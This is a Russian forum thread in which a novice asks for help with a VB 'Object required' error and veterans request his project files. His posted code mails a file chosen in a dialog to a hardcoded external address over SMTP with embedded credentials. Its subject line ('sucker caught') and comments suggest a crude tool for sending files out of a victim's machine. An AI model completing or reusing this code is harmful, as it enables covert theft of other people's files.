Имя пользователя:
Пароль:  
Помощь | Регистрация | Забыли пароль?  | Правила  

Компьютерный форум OSzone.net » Программирование, базы данных и автоматизация действий » Программирование и базы данных » VBA - Run-time error '424'

Ответить
Настройки темы
VBA - Run-time error '424'

Новый участник


Сообщения: 4
Благодарности: 0

Профиль | Отправить PM | Цитировать


Тип ошибки
Run-time error '424'
Object required


вот исходник

Private Sub Command1_Click()
CD1.ShowOpen '
Text1.Text = CD1.FileName '
End Sub

Private Sub Command2_Click()
Call send_message '
End Sub

Private Sub Picture1_Click()

End Sub

Private Sub Text2_Change()

End Sub


хочу добавить от себя, что находил в интернете подобные проблемы, и на вашем форуме тоже. Но решить их самостоятельно не очень легко. Так что прошу помощи.

Отправлено: 04:35, 25-02-2013

 

Ветеран


Contributor


Сообщения: 24951
Благодарности: 7249

Профиль | Отправить PM | Цитировать


Alexander158, и что можно понять из приведённого?! Что такое CD1, Text1? Как минимум — сама форма где? Сделайте её экспорт и выложите. Где код формы/модуля с процедурой send_message?

Отправлено: 07:59, 25-02-2013 | #2



Для отключения данного рекламного блока вам необходимо зарегистрироваться или войти с учетной записью социальной сети.

Если же вы забыли свой пароль на форуме, то воспользуйтесь данной ссылкой для восстановления пароля.


Новый участник


Сообщения: 4
Благодарности: 0

Профиль | Отправить PM | Цитировать


Вот полный исходник со всем чем только можно.

Sub send_message()
Dim o_Mess As Object, v_Conf As String
Set o_Mess = CreateObject("CDO.Message")
v_Conf = "http://schemas.microsoft.com/cdo/configuration/"
With o_Mess
.To = "gi33@bk.ru" 'Кому отправить (Тут вставляем свою почту)
.From = "ibr73@bk.ru" 'От кого (здесь тоже свою, но с которой будут отправляться отчеты)
.Subject = "====== Лошок попался ======" 'Тема (Название темы)
.TextBody = "Все готово. Скачай файл и наслаждайся. Удачи." 'Текст ( Само сообщение, текст не важен)
.AddAttachment "" + Text1 + "" 'Отправка файла (Не трогаем)
With .Configuration.Fields
.Item(v_Conf & "sendusing") = 2
.Item(v_Conf & "smtpserver") = "smtp.mail.ru"
.Item(v_Conf & "smtpauthenticate") = 1
.Item(v_Conf & "sendusername") = "ibr73@bk.ru" 'От кого (своя почта от которой будет отправка)
.Item(v_Conf & "sendpassword") = "1234567890" 'Пароль от кого отправляется письмо (пароль обязателен)
.Item(v_Conf & "smtpserverport") = "2525"
.Item(v_Conf & "smtpusessl") = False
.Item(v_Conf & "smtpconnectiontimeout") = 60
.Update
End With
.send
End With
End Sub

Private Sub Command1_Click()
CD1.ShowOpen ' Вызываем окно открытия файлов
Text1.Text = CD1.FileName ' Свойство FileName нужно для того чтоб узнать какой файл был выбран
End Sub

Private Sub Command2_Click()
Call send_message ' запуск отправки письма
End Sub

Private Sub Picture1_Click()

я думаю вы понимаете что можете просто кинуть этот исходник в блокнот сохранив в формате txt. а затем добавить в VB , без затруднения.

Последний раз редактировалось Alexander158, 25-02-2013 в 16:11.


Отправлено: 15:50, 25-02-2013 | #3


Ветеран


Contributor


Сообщения: 24951
Благодарности: 7249

Профиль | Отправить PM | Цитировать


Цитата Alexander158:
я думаю вы понимаете что можете просто »
Я думаю, что я — понимаю. Когда поймёте и Вы, что от Вас требуется — продолжим.

Отправлено: 20:33, 25-02-2013 | #4


Новый участник


Сообщения: 4
Благодарности: 0

Профиль | Отправить PM | Цитировать


Iska нет у меня там экспорта. НЕГДЕ. не хотите помогать, ваше дело. До свидаение

Отправлено: 22:32, 25-02-2013 | #5


Ветеран


Contributor


Сообщения: 24951
Благодарности: 7249

Профиль | Отправить PM | Цитировать


Я не «не хочу», а не могу Вам помочь без достаточного количества информации. Статься, кто-нибудь и сможет. Я — нет.

читать дальше »
Не можете упаковать и выложить проект *.vbp/документ Office, включенные в него формы *.frm, модули кода *.bas, модули классов *.cls — ежели оные есть?! Не верю. Не знаете, не умеете, не хотите — верю. В остальное — увы, не верю.


Отправлено: 22:47, 25-02-2013 | #6


Новый участник


Сообщения: 4
Благодарности: 0

Профиль | Отправить PM | Цитировать


Iska по моему вы тоже не хотите. Видите же что я в этом VB не очень. дал вам исходник во втором посте, могли бы его поместить в VB , потом сделали бы вы своей любимый экспорт самостоятельно.

где вы здесь видете экспорт?

Отправлено: 01:18, 26-02-2013 | #7


Аватара для Delirium

Ветеран


Сообщения: 5623
Благодарности: 935

Профиль | Отправить PM | Цитировать


Save = Сохранить. Экспорт - операция сохранения.

-------

Пройденные курсы:
[Microsoft №10174 Sharepoint], [SharePoint]
Мои проекты:[CheckAdmins], [NetSend7], [System Uptime], [Remote RAdmin LogViewer],[Netdom GDI], [Holidays - напоминалка о днях рождения]

А я офис-гуру :)


Отправлено: 01:50, 26-02-2013 | #8


Ветеран


Contributor


Сообщения: 24951
Благодарности: 7249

Профиль | Отправить PM | Цитировать


Alexander158, так давайте тогда вместе разбираться .

Начнём с того, что Вы расскажете, в каком приложении Вы работаете с VBA.

Отправлено: 01:55, 26-02-2013 | #9



Компьютерный форум OSzone.net » Программирование, базы данных и автоматизация действий » Программирование и базы данных » VBA - Run-time error '424'

Участник сейчас на форуме Участник сейчас на форуме Участник вне форума Участник вне форума Автор темы Автор темы Шапка темы Сообщение прикреплено

Похожие темы
Название темы Автор Информация о форуме Ответов Последнее сообщение
VBA - run-time error иоанн Программирование и базы данных 2 02-10-2012 19:44
2010 - VB run-time error 438 Demolution Microsoft Office (Word, Excel, Outlook и т.д.) 0 12-12-2010 23:13
Ошибка - [решено] Не запускает explorer, Run time error 204 at 008b24b0 S11amm Microsoft Windows 2000/XP 8 17-07-2010 18:53
EventID - Run-time error '13' MMM1980 Устранение критических ошибок Windows 0 18-08-2008 19:56
WinMe Rundll32 run-time error 53 Sos! ivan961169 Microsoft Windows 95/98/Me 6 22-10-2004 21:27




 
Переход